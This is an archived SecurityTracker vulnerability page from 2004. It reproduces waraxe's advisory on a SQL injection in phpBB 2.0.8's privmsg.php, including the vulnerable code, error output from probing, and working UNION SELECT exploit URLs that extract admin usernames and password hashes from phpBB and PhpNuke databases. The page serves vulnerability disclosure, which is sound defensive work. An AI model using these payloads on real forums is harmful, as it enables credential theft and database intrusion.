SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Forum/Board/Portal)  >  phpBB Vendors:  phpBB Group
phpBB Input Validation Flaw in 'privmsg.php' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1009563
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 26 2004
Impact:  Disclosure of user information, Execution of arbitrary code via network
Exploit Included:  Yes  
Version(s): 2.0.8
Description:  An input validation vulnerability was reported in phpBB in the 'privmsg.php' script. A remote user can inject SQL commands.

Janek Vind (waraxe) reported that 'privmsg.php' does not properly validate the pm_sql_user variable when the 'folder' variable is set to 'savebox'. A remote user can supply a specially crafted value to execute SQL commands on the database.

A demonstration exploit URL to retrieve the administrator's hashed password is provided:

http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.priv msgs_type=-99%20UNION%20SELECT%20username,null,use
ll,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*

Impact:  A remote user can inject SQL commands to be executed on the underlying database.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.phpbb.com/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Janek Vind <come2waraxe@yahoo.com>
Message History:   None.


 Source Message Contents

Date:  26 Mar 2004 17:27:40 -0000
From:  Janek Vind <come2waraxe@yahoo.com>
Subject:  [waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.8

 





{================================================================================}
{                              [waraxe-2004-SA#013]                              }
{================================================================================}
{                                                                                }
{      [ Critical sql injection bug in PhpBB 2.0.8 and in older versions ]       }
{                                                                                }
{================================================================================}
                                                                                                     
Author: Janek Vind "waraxe" Date: 26. March 2004 Location: Estonia, Tartu Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PhpBB is widely used and very popular forum software, written in php. Homepage: http://www.phpbb.com/ Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PhpBB 2.0.x is written very carefully and securely. But even there can be bugs, which will give to potential malicious attacker sensitive information from database - admin's username and password's md5 hash. So, let's look at original code from privmsg.php line 189: ************************************************************************************* // SQL to pull appropriate message, prevents nosey people // reading other peoples messages ... hopefully! // switch( $folder ) { case 'inbox': $l_box_name = $lang['Inbox']; $pm_sql_user = "AND pm.privmsgs_to_userid = " . $userdata['user_id'] . " AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL . " OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . " OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " )"; break; case 'outbox': $l_box_name = $lang['Outbox']; $pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . " AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . " OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " ) "; break; case 'sentbox': $l_box_name = $lang['Sentbox']; $pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . " AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL; break; case 'savebox': $l_box_name = $lang['Savebox']; $pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . " AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " ) OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . " AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " ) )"; break; default: message_die(GENERAL_ERROR, $lang['No_such_folder']); break; } // // Major query obtains the message ... // $sql = "SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.
user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_
regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM " . PRIVMSGS_TABLE . " pm, " . PRIVMSGS_TEXT_TABLE . " pmt, " . USERS
_TABLE . " u, " . USERS_TABLE . " u2 WHERE pm.privmsgs_id = $privmsgs_id AND pmt.privmsgs_text_id = pm.privmsgs_id $pm_sql_user AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid"; ***************************************************************************** As we can see, for some reason there is "$pm_sql_user .=" in case of 'savebox'. Funny thing
is, that this little bug can open critical security hole to forum. First, let's try this: http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=foobar and we get error message: General Error Could not query private message post information DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQ
L server version for the right syntax to use near 'foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_t SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS use
r_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_
regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_
privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_
id foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 2 AND pm.privmsgs_type = 4 ) ) AND u.u
ser_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid Line : 238 File : D:\apache_wwwroot\phpbb206c\privmsg.php Next, if we request this: http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm
.privmsgs_type=-99%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null,null,null,nul
l,null,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null/* then we don't get any error messages. Now it's time to do something "useful": ********************[real-life sploit]******************** http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm
.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/* ********************[/real-life sploit]******************* and we will see in plaintext admin's username and password's md5 hash ;) And to all PhpNuke 6.x and 7.x users, here is something for you: http://localhost/nuke69j1/modules.php?name=Private_Messages&file=index&folder=savebox&mod
e=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radm
insuper=1%20LIMIT%201/* Post Scriptum: I really enjoy reading of the PhpBB 2.x code, because it is written with good style and it's very secure. To all php programmers - I recommend to read the file "docs\codingstandards.htm"
from phpbb package, it will help to learn good style of the programming! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused! Special greets to Stefano from UT Bee Clan! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" ---------------------------------- [ EOF ] ------------------------------------


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2004, SecurityGlobal.net LLC